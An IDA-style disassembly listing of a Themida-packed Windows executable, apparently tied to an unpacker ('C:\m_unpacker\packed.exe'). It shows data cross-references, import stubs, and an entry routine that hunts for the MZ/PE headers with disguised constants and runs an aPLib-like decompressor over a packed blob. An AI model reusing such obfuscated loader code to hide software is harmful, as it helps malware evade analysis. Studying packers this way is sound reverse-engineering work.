dword_4CB8B8 dd 41h dup(0) ; DATA XREF: sub_40BD7C+18Co
dword_4CB9BC dd 0 ; DATA XREF: sub_40BD7C+21Bw
; sub_40BD7C+237r
dword_4CB9C0 dd 0 ; DATA XREF: sub_40BD7C+17Aw
dword_4CB9C4 dd 0 ; DATA XREF: sub_40BD7C+175w
; sub_40BD7C+1F8r
dword_4CB9C8 dd 20h dup(0) ; DATA XREF: sub_40BD7C+1BEo
; sub_40BD7C+1DEo
dword_4CBA48 dd 0 ; DATA XREF: sub_40BD7C+1B1w
dword_4CBA4C dd 0 ; DATA XREF: sub_40BD7C+1CBw
; sub_40BD7C+1EBw
dword_4CBA50 dd 0 ; DATA XREF: sub_40BD7C:loc_40BFC9r
align 8
dword_4CBA58 dd 0 ; DATA XREF: sub_40BD7C+417w
; sub_40BD7C+470o
dword_4CBA5C dd 0A2h dup(0) ; DATA XREF: sub_40BD7C+405o
dword_4CBCE4 dd 41h dup(0) ; DATA XREF: sub_40BD7C+3CFo
dword_4CBDE8 dd 0 ; DATA XREF: sub_40BD7C+3FCw
; sub_40BD7C+423r
align 10h
dword_4CBDF0 dd 0 ; DATA XREF: sub_40BD7C+466w
; sub_40BD7C+482r
dword_4CBDF4 dd 0 ; DATA XREF: sub_40BD7C+429w
dword_4CBDF8 dd 0 ; DATA XREF: sub_40BD7C+436w
dword_4CBDFC dd 0 ; DATA XREF: sub_40BD7C+3F6w
dd 0
dword_4CBE04 dd 0 ; DATA XREF: sub_40BD7C:loc_40C214r
dd 0
dword_4CBE0C dd 0 ; DATA XREF: sub_40B9CF+Er
; sub_40B9CF+31r
dword_4CBE10 dd 0 ; DATA XREF: sub_40B9CF+9r
; sub_40B9CF+25r
dword_4CBE14 dd 82h dup(0) ; DATA XREF: sub_40C846+8Do
dword_4CC01C dd 2 dup(0) ; DATA XREF: sub_40D1AF+68o
dword_4CC024 dd 0 ; DATA XREF: sub_40DB4F+9Eo
dword_4CC028 dd 0 ; DATA XREF: sub_40E288+8w
; ___:0040E657o
align 10h
dword_4CC030 dd 2 dup(0) ; DATA XREF: ___:0040E58Do
; sub_41B4FB+8o ...
dword_4CC038 dd 0 ; DATA XREF: ___:0040EEC0r
dd 0
dd 0
dword_4CC044 dd 0 ; DATA XREF: ___:0040EE93r
dword_4CC048 dd 0 ; DATA XREF: ___:0040EE75r
; ___:0040EEDEr
align 10h
dword_4CC050 dd 0 ; DATA XREF: sub_40BD7C+2AEr
align 8
dword_4CC058 dd 0 ; DATA XREF: sub_40BA3A+1Br
dword_4CC05C dd 0 ; DATA XREF: ___:0040F9B6w
; ___:0040F9DDr ...
dd 3 dup(0)
dword_4CC06C dd 0 ; DATA XREF: ___:004112C4r
dd 0
dword_4CC074 dd 0 ; DATA XREF: sub_412E9B+4w
; sub_412E9B+9o
dd 10Ah dup(0)
dword_4CC4A0 dd 188h dup(0) ; DATA XREF: sub_401AC7+2F39o
; sub_401AC7:loc_404AAFo
dword_4CCAC0 dd 0 ; DATA XREF: sub_401AC7+19B6w
; sub_401AC7+2F31r ...
dd 11Ch dup(0)
dword_4CCF34 dd 0E13h dup(0) ; DATA XREF: sub_415CEE+1Do
; sub_415D8Eo ...
db 0
byte_4D0781 db 3 dup(0) ; DATA XREF: Themida_:0054EEA0o
; Themida_:0054EEA8o
dd 1ECh dup(0)
dword_4D0F34 dd 0 ; DATA XREF: sub_415CEE+13o
; sub_415D8E+Eo ...
dword_4D0F38 dd 0Eh dup(0) ; DATA XREF: sub_416C7D+Fo
dword_4D0F70 dd 80h dup(0) ; DATA XREF: sub_417938+41o
dword_4D1170 dd 200h dup(0) ; DATA XREF: sub_417269+C7o
; sub_4175C4+DDo ...
dword_4D1970 dd 200h dup(0) ; DATA XREF: sub_417269+D6o
; sub_4175C4+F4o ...
dword_4D2170 dd 0 ; DATA XREF: sub_417269+86w
; sub_41743B+94r
dword_4D2174 dd 0 ; DATA XREF: sub_417269+A7w
; sub_4178A1+55r ...
dword_4D2178 dd 0 ; DATA XREF: sub_417269+A0w
; sub_41743B+D6r ...
dword_4D217C dd 0 ; DATA XREF: sub_417269+79w
; sub_41743B+35r ...
dword_4D2180 dd 80h dup(0) ; DATA XREF: sub_4178A1+5Eo
dword_4D2380 dd 0 ; DATA XREF: sub_417269+93w
; sub_41743B+A2r
align 8
dword_4D2388 dd 0 ; DATA XREF: sub_417269+E7o
; sub_417269+103r ...
dword_4D238C dd 0 ; DATA XREF: sub_4175C4+17Bw
; sub_41776B+107w
dword_4D2390 dd 0 ; DATA XREF: sub_4175C4+180w
; sub_41776B+10Dw ...
dword_4D2394 dd 0 ; DATA XREF: sub_4175C4+159w
; sub_4178A1+4Fr
dword_4D2398 dd 0 ; DATA XREF: sub_417C15+22w
; sub_417C15:loc_417D97w ...
dword_4D239C dd 0 ; DATA XREF: sub_401AC7+3C99o
; sub_417AD7+12o ...
dd 0
dword_4D23A4 dd 0 ; DATA XREF: sub_417C15+1Cr
; sub_417DB7+3Ar
dd 7Fh dup(0)
dword_4D25A4 dd 0 ; DATA XREF: sub_417C15+28r
; sub_417DB7+4Aw
dd 6EAh dup(0)
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: ___:off_437BD0o
dd 1259h dup(0)
dword_4D8AB8 dd 0 ; DATA XREF: sub_417DB7+23o
dword_4D8ABC dd 81h dup(0) ; DATA XREF: sub_401AC7+3CBDo
; sub_417AD7+3Co ...
dword_4D8CC0 dd 17h dup(0) ; DATA XREF: sub_418CE8:loc_418E05o
; sub_418CE8+131o ...
dword_4D8D1C dd 80h dup(0) ; DATA XREF: sub_419A81+7Co
; sub_419A81+A5o
dword_4D8F1C dd 0 ; DATA XREF: sub_419062+45w
; sub_419062+4Dr ...
dword_4D8F20 dd 17h dup(0) ; DATA XREF: sub_41994D:loc_419A6Fo
; sub_41994D+12Do
dword_4D8F7C dd 80h dup(0) ; DATA XREF: sub_418FA3+4Bo
; sub_418FA3+7Do ...
byte_4D917C db 0 ; DATA XREF: sub_419062+29r
; sub_419062+34w
align 10h
dword_4D9180 dd 80h dup(0) ; DATA XREF: sub_4192B9+61o
; sub_4192B9+88o ...
dword_4D9380 dd 81h dup(0) ; DATA XREF: sub_418BBF+33o
; sub_418BBF+50o ...
dword_4D9584 dd 0 ; DATA XREF: sub_419F0E:loc_419F2Fr
; sub_419FFD+54r ...
dword_4D9588 dd 0 ; DATA XREF: sub_419F0Er
; sub_419FFD+37r ...
dword_4D958C dd 0 ; DATA XREF: sub_419F3E+1Ar
; sub_41A152+83o
dword_4D9590 dd 0 ; DATA XREF: sub_419F0E:loc_419F22r
; sub_41A152+11Bw
dword_4D9594 dd 0Dh dup(0) ; DATA XREF: sub_419FFD+13o
; sub_41A152:loc_41A28Fo
dword_4D95C8 dd 0 ; DATA XREF: sub_419FFD+CDr
; sub_419FFD+ECr ...
align 10h
dword_4D95D0 dd 0Fh dup(0) ; DATA XREF: sub_41AD74+47o
byte_4D960C db 0 ; DATA XREF: sub_41B4CF+6o
; ___:0041B821o ...
align 10h
dd 3Fh dup(0)
dword_4D970C dd 2 dup(0) ; DATA XREF: sub_41B4FB+18o
dword_4D9714 dd 0 ; DATA XREF: sub_41C326+1B9w
; ___:loc_41DA08w ...
dword_4D9718 dd 0 ; DATA XREF: sub_41DB5E+35w
; sub_41E212:loc_41E2ACw ...
dword_4D971C dd 0 ; DATA XREF: sub_42393B+13Ar
dd 0A28h, 501h, 5, 1
dword_4D9730 dd 1 ; DATA XREF: ___:loc_401513r
; ___:00422F1Cw
dword_4D9734 dd 28C0AF0h ; DATA XREF: ___:0040151Cr
; ___:0040153Cr ...
dd 0
dword_4D973C dd 28C0A70h ; DATA XREF: ___:00422E16w
; sub_4259A3+9r ...
dword_4D9740 dd 0 ; DATA XREF: sub_426087+36r
dword_4D9744 dd 0 ; DATA XREF: sub_4259A3+16r
; sub_425D71+4r ...
dd 0
off_4D974C dd offset aCM_unpackerPac ; DATA XREF: ___:00422EB9w
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_4D9754 db 0 ; DATA XREF: sub_41BF53+2Dw
; sub_4238E3+5r
align 4
dword_4D9758 dd 0 ; DATA XREF: sub_41BF53+27w
dword_4D975C dd 0 ; DATA XREF: sub_41BF53+4r
; sub_41BF53+8Bw
dword_4D9760 dd 0 ; DATA XREF: sub_41C864+3Br
; sub_41C864+91w
align 8
dword_4D9768 dd 0 ; DATA XREF: sub_41CEB4+Aw
align 10h
dword_4D9770 dd 0 ; DATA XREF: sub_41D81B+5Er
; sub_41D81B+A4w
align 8
word_4D9778 dw 0 ; DATA XREF: sub_41D81B+55r
; sub_41D81B+9Ao
word_4D977A dw 0 ; DATA XREF: sub_41D81B+48r
db 2 dup(0)
word_4D977E dw 0 ; DATA XREF: sub_41D81B+3Br
word_4D9780 dw 0 ; DATA XREF: sub_41D81B+2Er
word_4D9782 dw 0 ; DATA XREF: sub_41D81B+21r
align 8
dword_4D9788 dd 0 ; DATA XREF: ___:loc_422DE4r
; ___:loc_422E26r ...
align 10h
dword_4D9790 dd 0 ; DATA XREF: sub_41E1C9r ___:0041E1F0o ...
dword_4D9794 dd 0 ; DATA XREF: sub_41F247r
dword_4D9798 dd 0 ; DATA XREF: sub_41BB48:loc_41BC44r
; sub_41BC9Br ...
dword_4D979C dd 1 ; DATA XREF: sub_41FDDE:loc_41FF59r
; sub_41FF77+4w ...
dword_4D97A0 dd 0 ; DATA XREF: sub_42037B+37r
align 8
dword_4D97A8 dd 0 ; DATA XREF: sub_42190E+11r
; sub_421A12+1Ar ...
byte_4D97AC db 0 ; DATA XREF: sub_42190E+3r
; sub_42190E+98r ...
align 10h
dword_4D97B0 dd 0 ; DATA XREF: sub_421A12+11r
; sub_421AF0+21w ...
byte_4D97B4 db 0 ; DATA XREF: sub_421AF0+51w
align 4
dword_4D97B8 dd 0 ; DATA XREF: sub_421CE6+4Er
; sub_4220C1+3Ar ...
dword_4D97BC dd 0 ; DATA XREF: sub_421CE6+5Cr
; sub_4220C1+43r ...
dword_4D97C0 dd 0 ; DATA XREF: sub_41D13A+7Ar
; sub_421E8D+5r
dword_4D97C4 dd 0 ; DATA XREF: sub_42249C+29r
dword_4D97C8 dd 2 dup(0) ; DATA XREF: sub_41D900+Co
dword_4D97D0 dd 0 ; DATA XREF: sub_41DD4A+4r
; sub_41DD4A+6Er ...
align 10h
dword_4D97E0 dd 0 ; DATA XREF: sub_41DFD4+61r
; sub_41DFD4+BFr ...
align 8
dword_4D97E8 dd 1 ; DATA XREF: sub_4229D2+28r
; sub_4229D2+4Cw ...
dword_4D97EC dd 0 ; DATA XREF: ___:00422C30r
; ___:00422C3Cw ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422EA2o
; ___:off_4D974Co
align 4
dd 3Ah dup(0)
dword_4D98F4 dd 1 ; DATA XREF: ___:004230DAr
; ___:004230FBw ...
dword_4D98F8 dd 0 ; DATA XREF: sub_423498+21r
dword_4D98FC dd 0 ; DATA XREF: sub_41F262+154w
; sub_42037B:loc_4203A4w ...
dword_4D9900 dd 0 ; DATA XREF: sub_41F262+7r
dword_4D9904 dd 1 ; DATA XREF: sub_423BF4+26r
; sub_423BF4:loc_423C5Ew
word_4D9908 dw 0 ; DATA XREF: sub_4244F9+1Ao
; sub_4244F9+46r
byte_4D990A db 0 ; DATA XREF: sub_4244F9+39r
align 4
dword_4D990C dd 7 dup(0) ; DATA XREF: sub_4244F9+52o
dword_4D9928 dd 0 ; DATA XREF: sub_4244F9+40w
; sub_4244F9+5Co
dword_4D992C dd 0 ; DATA XREF: sub_4244F9+4Dw
dword_4D9930 dd 0 ; DATA XREF: sub_4244F9+31w
dword_4D9934 dd 0 ; DATA XREF: sub_4244F9+52w
dword_4D9938 dd 77C26E79h ; DATA XREF: sub_42461C:loc_42463Fr
; sub_42461C+38r ...
align 10h
dword_4D9940 dd 0 ; DATA XREF: sub_4246FC+11w
; sub_4246FC+63w ...
align 8
dword_4D9948 dd 0 ; DATA XREF: sub_4246FC+33o
; sub_4246FC+46r
dword_4D994C dd 10h dup(0) ; DATA XREF: sub_4246FC+C1o
word_4D998C dw 0 ; DATA XREF: sub_42495A+A8r
word_4D998E dw 0 ; DATA XREF: sub_4246FC+54r
; sub_42495A+DBr ...
word_4D9990 dw 0 ; DATA XREF: sub_42495A+CAr
word_4D9992 dw 0 ; DATA XREF: sub_42495A+D3r
; sub_42495A:loc_424A4Cr
word_4D9994 dw 0 ; DATA XREF: sub_42495A+C0r
word_4D9996 dw 0 ; DATA XREF: sub_42495A+B8r
word_4D9998 dw 0 ; DATA XREF: sub_42495A+B0r
word_4D999A dw 0 ; DATA XREF: sub_42495A+9Er
dword_4D999C dd 0 ; DATA XREF: sub_4246FC+4Br
dword_4D99A0 dd 10h dup(0) ; DATA XREF: sub_4246FC+FBo
word_4D99E0 dw 0 ; DATA XREF: sub_42495A+46r
word_4D99E2 dw 0 ; DATA XREF: sub_4246FC:loc_424773r
; sub_42495A+78r ...
word_4D99E4 dw 0 ; DATA XREF: sub_42495A+67r
word_4D99E6 dw 0 ; DATA XREF: sub_42495A+70r
; sub_42495A:loc_4249DEr
word_4D99E8 dw 0 ; DATA XREF: sub_42495A+5Dr
word_4D99EA dw 0 ; DATA XREF: sub_42495A+55r
word_4D99EC dw 0 ; DATA XREF: sub_42495A+4Dr
word_4D99EE dw 0 ; DATA XREF: sub_42495A+3Er
dword_4D99F0 dd 0 ; DATA XREF: sub_4246FC+80r
dword_4D99F4 dd 0 ; DATA XREF: sub_4246FC+132r
; sub_4246FC:loc_424848r ...
dword_4D99F8 dd 0 ; DATA XREF: sub_4246E7r sub_4246E7+Ew
dword_4D99FC dd 0 ; DATA XREF: sub_424C88+3r
; sub_424C88+2Ew ...
dword_4D9A00 dd 0 ; DATA XREF: sub_424C88+43w
; sub_424C88:loc_424CD7r
dword_4D9A04 dd 0 ; DATA XREF: sub_424C88+4Aw
; sub_424C88+60r
dword_4D9A08 dd 0 ; DATA XREF: sub_42393B+3Fr
dword_4D9A0C dd 0 ; DATA XREF: sub_425831:loc_425898r
; sub_425831+6Do
dword_4D9A10 dd 0 ; DATA XREF: sub_425831:loc_42586Fr
; sub_425831+44o
dword_4D9A14 dd 0 ; DATA XREF: sub_425831:loc_425862r
; sub_425831+37o
dword_4D9A18 dd 0 ; DATA XREF: sub_425831:loc_42587Cr
; sub_425831+51o
align 10h
dword_4D9A20 dd 0 ; DATA XREF: sub_425DDF+28r
; sub_425DDF+48w ...
dword_4D9A24 dd 0 ; DATA XREF: sub_4268F1+28r
; sub_4268F1+4Cw ...
dword_4D9A28 dd 0 ; DATA XREF: sub_426B7C+26r
; sub_426B7C:loc_426BE6w
byte_4D9A2C db 0 ; DATA XREF: sub_40DB2Dr sub_40DB2D+9w
align 10h
dword_4D9A30 dd 2434968h ; DATA XREF: sub_41E390:loc_41E3A1r
; sub_41F3D2+14r ...
align 10h
dword_4D9A40 dd 400h dup(0) ; DATA XREF: ___:off_43AD78o
; ___:0043AD80o
dword_4DAA40 dd 200h ; DATA XREF: sub_41E390+9r
; sub_41E390+56r ...
dd 7 dup(0)
dword_4DAA60 dd 28C0EF0h ; DATA XREF: sub_41EF78+75r
; sub_41F051+2Ar ...
dword_4DAA64 dd 3Fh dup(0) ; DATA XREF: ___:0042329Co
dword_4DAB60 dd 20h ; DATA XREF: sub_41E212+8r
; sub_41F051+Cr ...
dword_4DAB64 dd 4E4h ; DATA XREF: sub_41FDDE+14r
; sub_41FDDE+65w ...
align 10h
dword_4DAB70 dd 3 dup(0) ; DATA XREF: sub_41FDDE+123o
; sub_41FDDE+171o ...
dword_4DAB7C dd 0 ; DATA XREF: sub_41FDDE+108w
; sub_41FDDE+15Dw ...
byte_4DAB80 db 0 ; DATA XREF: sub_42001D:loc_420129w
; sub_42001D:loc_420146w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4DAC80 db 0 ; DATA XREF: sub_41FDDE+5Co
; sub_41FDDE+AFo ...
byte_4DAC81 db 0 ; DATA XREF: sub_41C151+5Dr
; sub_41FDDE+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4DAD84 dd 0 ; DATA XREF: sub_41FDDE+6Ew
; sub_41FDDE+12Bw ...
dword_4DAD88 dd 10h ; DATA XREF: sub_41EAD6+5r
; sub_41EAD6+32w
dword_4DAD8C dd 0 ; DATA XREF: sub_41E4A2+239r
; sub_41E4A2+259r ...
dword_4DAD90 dd 2430650h ; DATA XREF: sub_41E4A2+310w
; sub_41E7CD:loc_41E81Dr ...
dword_4DAD94 dd 0 ; DATA XREF: sub_41E4A2+22Cr
; sub_41E4A2+25Fr ...
dword_4DAD98 dd 1 ; DATA XREF: sub_41E477r
; sub_41E4A2+2CAr ...
dword_4DAD9C dd 2430650h ; DATA XREF: sub_41E477+8r
; sub_41E4A2+2CFr ...
dword_4DADA0 dd 2430000h ; DATA XREF: sub_41BA31+21r
; sub_41BB48+A9r ...
dword_4DADA4 dd 142340h ; DATA XREF: ___:00422D89r
; ___:00422EB4r
dword_4DADA8 dd 1 ; DATA XREF: ___:00422E7Fw sub_4259A3r
dword_4DADAC dd 1 ; DATA XREF: sub_4201A2r
; sub_4201A2+11w ...
dword_4DADB0 dd 28C0E60h ; DATA XREF: sub_41BF53+3Er
; sub_41D743+13r ...
dword_4DADB4 dd 28C0E60h ; DATA XREF: sub_41BF53+35r
; sub_41BF53+57r ...
dd 92h dup(0)
dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___ ends
; Section 2. (virtual address 000DC000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000DC000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rsrc___ segment para public 'DATA' use32
assume cs:_rsrc___
;org 4DC000h
dd 400h dup(0)
_rsrc___ ends
; Section 3. (virtual address 000DD000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000DD000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata__ segment para public 'DATA' use32
assume cs:_idata__
;org 4DD000h
a7icwCw db '7¨çwµ\çw',0
align 4
dd 77345219h, 4 dup(0)
dd 0DD050h, 0DD000h, 3 dup(0)
dd 0DD079h, 0DD00Ch, 5 dup(0)
aKernel32_dll_0 db 'KERNEL32.dll',0
db 2 dup(0), 43h
aReatefilea db 'reateFileA',0
align 4
dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
dd 6C642E32h, 6Ch
aInitcommoncont db 'InitCommonControls',0
align 1000h
_idata__ ends
; Section 4. (virtual address 000DE000)
; Virtual size : 000DC000 ( 901120.)
; Section size in file : 000DC000 ( 901120.)
; Offset to raw data for section: 000DE000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
Themida_ segment para public 'DATA' use32
assume cs:Themida_
;org 4DE000h
dd 8F35CD4Eh, 498A4h, 5400Ah, 93172h, 0
; =============== S U B R O U T I N E =======================================
public start
start proc near
var_1C = dword ptr -1Ch
; FUNCTION CHUNK AT 004DE265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005394BD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053C836 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0053CAAC SIZE 00000047 BYTES
mov eax, 0
pusha
or eax, eax
jz short loc_4DE086
call $+5
pop eax
add eax, 53h
cmp byte ptr [eax], 0E9h
jnz short loc_4DE041
popa
jmp short loc_4DE076
; ---------------------------------------------------------------------------
a7rm db 'Û-7àM',0
db 0FFh
dd 0FFFFFFFFh, 3DFFFFFFh
db 40h
; ---------------------------------------------------------------------------
loc_4DE041: ; CODE XREF: start+18j
call $+5
pop eax
and eax, 0FFFFF000h
xor edi, edi
loc_4DE04E: ; CODE XREF: start+5Ej
mov bx, 5A19h
add bx, 34h
cmp [eax], bx
jnz short loc_4DE06D
movzx edx, word ptr [eax+3Ch]
add edx, eax
mov ebx, 44E9h
add ebx, 67h
cmp [edx], ebx
jz short loc_4DE074
loc_4DE06D: ; CODE XREF: start+45j
sub eax, 1000h
jmp short loc_4DE04E
; ---------------------------------------------------------------------------
loc_4DE074: ; CODE XREF: start+57j
mov edi, eax
loc_4DE076: ; CODE XREF: start+1Bj
jmp loc_4DE265
; ---------------------------------------------------------------------------
db 3
aJt db 'ǹjâ',0Dh,0
dw 0CF03h
db 0EBh, 0Ah
; ---------------------------------------------------------------------------
loc_4DE086: ; CODE XREF: start+8j
mov eax, offset loc_5394BD
mov ecx, offset word_4DE26A
push eax
push ecx
call sub_4DE11B
call $+5
pop eax
sub eax, 26h
mov ecx, 1EFh
mov byte ptr [eax], 0E9h
sub ecx, 5
mov [eax+1], ecx
popa
jmp loc_4DE265
start endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 9328h
dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h
dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
db 0C8h, 0E4h, 0F2h
; =============== S U B R O U T I N E =======================================
sub_4DE11B proc near ; CODE XREF: start+7Ep
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov esi, [esp+20h+arg_0]
mov edi, [esp+20h+arg_4]
cld
mov dl, 80h
loc_4DE127: ; CODE XREF: sub_4DE11B:loc_4DE13Bj
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_4DE132: ; CODE XREF: sub_4DE11B+7Aj
; sub_4DE11B+C3j ...
add dl, dl
jnz short loc_4DE13B
mov dl, [esi]
inc esi
adc dl, dl
loc_4DE13B: ; CODE XREF: sub_4DE11B+19j
jnb short loc_4DE127
add dl, dl
jnz short loc_4DE146
mov dl, [esi]
inc esi
adc dl, dl
loc_4DE146: ; CODE XREF: sub_4DE11B+24j
jnb short loc_4DE197
xor eax, eax
add dl, dl
jnz short loc_4DE153
mov dl, [esi]
inc esi
adc dl, dl
loc_4DE153: ; CODE XREF: sub_4DE11B+31j
jnb loc_4DE238
add dl, dl
jnz short loc_4DE162
mov dl, [esi]
inc esi
adc dl, dl
loc_4DE162: ; CODE XREF: sub_4DE11B+40j
adc eax, eax
add dl, dl
jnz short loc_4DE16D
mov dl, [esi]
inc esi
adc dl, dl
loc_4DE16D: ; CODE XREF: sub_4DE11B+4Bj
adc eax, eax
add dl, dl
jnz short loc_4DE178
mov dl, [esi]
inc esi
adc dl, dl
loc_4DE178: ; CODE XREF: sub_4DE11B+56j
adc eax, eax
add dl, dl
jnz short loc_4DE183
mov dl, [esi]
inc esi
adc dl, dl
loc_4DE183: ; CODE XREF: sub_4DE11B+61j
adc eax, eax
jz short loc_4DE18D
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_4DE18D: ; CODE XREF: sub_4DE11B+6Aj
mov [edi], al
inc edi
mov ebx, 2
jmp short loc_4DE132
; ---------------------------------------------------------------------------
loc_4DE197: ; CODE XREF: sub_4DE11B:loc_4DE146j
mov eax, 1
loc_4DE19C: ; CODE XREF: sub_4DE11B:loc_4DE1B0j
add dl, dl
jnz short loc_4DE1A5
mov dl, [esi]
inc esi
adc dl, dl
loc_4DE1A5: ; CODE XREF: sub_4DE11B+83j
adc eax, eax
add dl, dl
jnz short loc_4DE1B0
mov dl, [esi]
inc esi
adc dl, dl
loc_4DE1B0: ; CODE XREF: sub_4DE11B+8Ej
jb short loc_4DE19C
sub eax, ebx
mov ebx, 1
jnz short loc_4DE1E3
mov ecx, 1
loc_4DE1C0: ; CODE XREF: sub_4DE11B:loc_4DE1D4j
add dl, dl
jnz short loc_4DE1C9
mov dl, [esi]
inc esi
adc dl, dl
loc_4DE1C9: ; CODE XREF: sub_4DE11B+A7j
adc ecx, ecx
add dl, dl
jnz short loc_4DE1D4
mov dl, [esi]
inc esi
adc dl, dl
loc_4DE1D4: ; CODE XREF: sub_4DE11B+B2j
jb short loc_4DE1C0
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_4DE132
; ---------------------------------------------------------------------------
loc_4DE1E3: ; CODE XREF: sub_4DE11B+9Ej
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_4DE1F1: ; CODE XREF: sub_4DE11B:loc_4DE205j
add dl, dl
jnz short loc_4DE1FA
mov dl, [esi]
inc esi
adc dl, dl
loc_4DE1FA: ; CODE XREF: sub_4DE11B+D8j
adc ecx, ecx
add dl, dl
jnz short loc_4DE205
mov dl, [esi]
inc esi
adc dl, dl
loc_4DE205: ; CODE XREF: sub_4DE11B+E3j
jb short loc_4DE1F1
cmp eax, 7D00h
jnb short loc_4DE228
cmp eax, 500h
jb short loc_4DE223
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4DE132
; ---------------------------------------------------------------------------
loc_4DE223: ; CODE XREF: sub_4DE11B+F8j
cmp eax, 7Fh
ja short loc_4DE22B
loc_4DE228: ; CODE XREF: sub_4DE11B+F1j
add ecx, 2
loc_4DE22B: ; CODE XREF: sub_4DE11B+10Bj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4DE132
; ---------------------------------------------------------------------------
loc_4DE238: ; CODE XREF: sub_4DE11B:loc_4DE153j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_4DE259
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_4DE132
; ---------------------------------------------------------------------------
loc_4DE259: ; CODE XREF: sub_4DE11B+125j
sub edi, [esp+20h+arg_4]
mov [esp+20h+var_4], edi
popa
retn 8
sub_4DE11B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_4DE265: ; CODE XREF: start:loc_4DE076j
; start+9Dj
jmp loc_5394BD
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
word_4DE26A dw 38E9h ; DATA XREF: start+77o
dd 1523374h, 6854C0EFh, 38696D65h, 0FE436164h, 460138FAh
dd 0C203A8F1h, 92447537h, 0FED5235Ch, 0F02C2445h, 11BE9AAh
dd 848B21ECh, 3007AF2Fh, 8312D34h, 0C235455Eh, 52F87D17h
dd 74730E65h, 41677261h, 0A72E1770h, 0FB10CE78h, 1101CEBAh
dd 8E22B8EEh, 0BCFA0FE1h, 6B848B98h, 112E11F2h, 2E5EFFFAh
dd 3635AF00h, 0AAF47F03h, 88EF0143h, 7F847B33h, 1001CEABh
dd 7122FEEAh, 0F1BA0BE1h, 0D4C8C58Bh, 88E87060h, 0ED00815Dh
dd 6483383h, 61099589h, 0C5B50D27h, 0B9851030h, 0BD838015h
dd 0E013D120h, 8B0C1C74h, 0B8E289E8h, 0EFC21949h, 2444701Ch
dd 1C4D3E71h, 0E8456A00h, 6829A360h, 7A83749Ah, 0ADF5007h
dd 894B1E25h, 0AD5910Ah, 0EC0214E9h, 8B55D057h, 0C483EC0Ah
dd 5AC0EED8h, 4071EA81h, 0DA098B34h, 1BD845C7h, 400E1808h
dd 7D810889h, 1DC680FCh, 7F200F74h, 0DB832408h, 12FF9810h
dd 0E163EB43h, 7461DC36h, 0C2C91426h, 81064604h, 2FF7CC4h
dd 0BA44498Eh, 8045018Dh, 0C7085D8Bh, 4A194485h, 0A8D50h
dd 1888C3D1h, 0BA88941h, 6A2BD81h, 0E3755D02h, 8D282794h
dd 75EC64BAh, 0E8A8004h, 5B90F4BBh, 0F37ABB8h, 0D0D37854h
dd 4B080FCCh, 5F7753Bh, 4647C3AFh, 46624A24h, 0D142A2F9h
dd 78ABA61h, 0D85FF0D0h, 0A0FC45EEh, 0A304EB4Dh, 8046C8ADh
dd 0F740C53Eh, 348436BAh, 0C197DE6h, 0F83E7FEBh, 12C86D0Ch
dd 0F40E4CF0h, 0C14A10A8h, 4F06514h, 0D1F803D6h, 96C203E0h
dd 0DB330128h, 80301C8Ah, 0A72CCFBh, 77390AC3h, 0EFEBD305h
